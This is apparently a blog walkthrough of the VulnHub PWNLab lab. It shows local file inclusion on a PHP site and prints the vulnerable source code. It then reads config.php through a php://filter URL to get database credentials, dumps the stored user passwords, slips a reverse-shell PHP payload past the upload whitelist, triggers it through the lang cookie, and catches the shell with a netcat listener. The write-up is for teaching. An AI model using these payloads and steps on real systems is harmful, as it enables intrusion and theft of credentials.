This post is going to look at a Local File Inclusion vulnerability and how it can be exploited to gain a shell on a web server. To demonstrate this I’m going to be using the PWNLab exercise from VulnHub as it uses a nice example of LFI and also requires some other basic pentest steps which I think are useful to know as well. I’ll be using ParrotOS as my “attacker” virtual machine.
What is LFI?
Local File Inclusion is a vulnerability which predominantly affects web applications that allows an attacker to read and execute files. There are many different types of LFI, in this example, we’ll be looking at a couple of examples which exploits LFI in PHP scripts. In most cases, LFI is caused by poor coding practice where variables are not properly defined or where sanitization is not used correctly, this can allow an attacker to upload or replace a file with their own malicious one, which is exactly what we’re going to do in this case.
Exploiting LFI
For those that wish to follow along, you can download the PWNLab VM image here.
To start we need to find out the IP address of our vulnerable device, we start by running a simple NMAP scan across the 192.168.1.0/24 range. We can see the IP address of our vulnerable device, and we can see from the NMAP scan that it’s running a web server, so let’s navigate to the IP in a web browser. We are greeted by a webpage with three buttons, the login and upload ones being of most interest. If we try to upload a file, we are told that we must log in first.
As always we’re going to need to perform some reconnaissance and scanning against this IP, as we know this is a web server, so our tool of choice in this instance is Nikto. For those who are unaware, Nikto is a vulnerability scanner which comes bundled in Kali, it focuses on vulnerabilities in web applications and is a really great tool. We run a Nikto scan on our target IP.
Straight away the first thing that jumps out at is the line
/config.php: PHP Config file may contain database IDs and passwords.
If we try to navigate to the page we’re greeted by a blank page. We can, however, try to read the contents of the PHP file. The command below uses a PHP-filter to bypass PHP execution by encoding the PHP code before it has a chance to execute and instead converts the output into base64.
http://192.168.1.72/?page=php://filter/convert.base64-encode/resource=config
We can then simply decode the output, where we are presented with the raw PHP code for the config file, which contains the login details to a database.
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
It’s worth at this point to get the source code for the other pages on the webserver, we do this by running the same php://filter/convert command that we ran previously, but changing the resource to the other pages.
Firstly the Index page. Straight away we can see that it contains an “include” vulnerability where it’s reference a cookie called lang. We’ll make a note of that, and come back to it later.
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
Next, we have the upload page, the main thing that sticks out here is that there is a whitelist on the type of file that can be uploaded to the webserver. It’s restricted to jpg, jpeg, gif, and png files, looking further down the code block we can see that it is not just the extension of the file that is whitelisted, but also the MIME type. If we want to upload a file onto the server, we’re going to have to bypass these whitelists.
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
The final page, “login”, did not contain anything of interest so I’ve not included the decoded base64 code block.
Moving on, we know the index page has an include vulnerability on it, and we know that if we are logged into the site, we can upload an image onto the webserver. Our end goal is to get a shell to the web server, so our plan is to bypass the file filtering on the upload page and upload a shell script, where we will then exploit the include vulnerability on the index page to get it to execute our shell script. First, we need to login to the site.
So we’re going to try to connect to the database via MySQL with the credentials we’ve stolen from the config file, if we run a command to connect the MySQL database running on the webserver with the username ‘root’ and enter the decoded password, it works!
We can select to “use” the “Users” table and select all (*) entries. Three users are returned, with their passwords, which look to be encoded in base64.
TIP: When pen testing it’s always a good idea to note down any usernames or passwords you encounter in a notepad file, this makes them easily accessible and will save you having to keep decoding/decrypting them.
After decoding the passwords, we can try to login with one of the users’ credentials, and bingo, we’re in! And now we have access to upload a file. As mentioned before, I’m using ParrotOS, which comes bundled with some premade web shell scripts, we’re going to be using the php-reverse-shell.php script that’s located in the directory /usr/share/webshells/php/
If you’re not using ParrotOS you can find the Shell here on GitHub
If you remember from before there are restrictions on the type of files we can upload, so we need to make some changes to the file to bypass the whitelisting. We can bypass the MIME type filtering by placing ‘GIF89;‘ at the top of our shell script. We will also need to ensure the script uses the extension ‘.gif‘ as well. Finally, we need to change the IP address and port in the shell script, the IP address will be the IP address that we want the shell to connect to (so the IP address of your host machine) and the port can be anything that isn’t currently being used.
GIF89;
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.47'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
Once that’s done, we save the file and upload it onto the webserver. The small changes worked and were able to bypass the file filtering. We can confirm that the file was successfully uploaded by navigating to the “upload directory” on the webserver (which in this case is located at http://192.168.1.72/upload). Here we can see the fake GIF file we uploaded, where the hash value of the file has been used to rename the file. We need to make a note of the new file name, as we’re going to need it in the next step.
For the next step, we’re going to be using Burp Suite. Firstly we need to intercept a page using the “Proxy” module in Burp, you’ll need to configure your browser to use Burp as a proxy, you can find a guide on how to do so here. Once that’s done, make sure you have “intercept” turned on within the proxy module in Burp, and navigate to any page on the Pwnlab web server. You should intercept something which looks similar to the image below.
The thing we are interested in here is the Cookie value, if you remember back to earlier the Cookie Lang contained an inclusion vulnerability. We’re going to point the Cookie Lang to our PHP shell script which we uploaded onto the server. To do this, right-click anywhere in the whitespace in the output of the page you intercepted in Burp intercept and select “send to repeater”. Now navigate to the repeater module in Burp and replace the cookie called lang with the path of the script we uploaded earlier which we noted down earlier.
Before forwarding this modified request on to the webserver, we need to set up a Netcat session to listen to the port we defined in the PHP script earlier, in this case it’s 1234. (Some readers may have noticed I’ve moved over to a Windows box, this is because I broke my ParrotOS VM, not for the first time!…)
We set up a session by using the command
-l -p 1234
Then we can “send” our modified HTTP GET request to the webserver from Burp, and boom, we should receive a shell in Netcat as shown below.
We then can upgrade our shell by running the below command.
python -c 'import pty;pty.spawn("bin/bash")'
And now we’re free to roam around on the web server and attempt to escalate our privileges.
Conclusion
That concludes this short post on LFI with a few other pen testing tricks thrown in. Although LFI is not a new topic, due to poor practice it’s still prevalent, and I thought that this lab exercise showed a good example of how it can be exploited and the damage that can be done.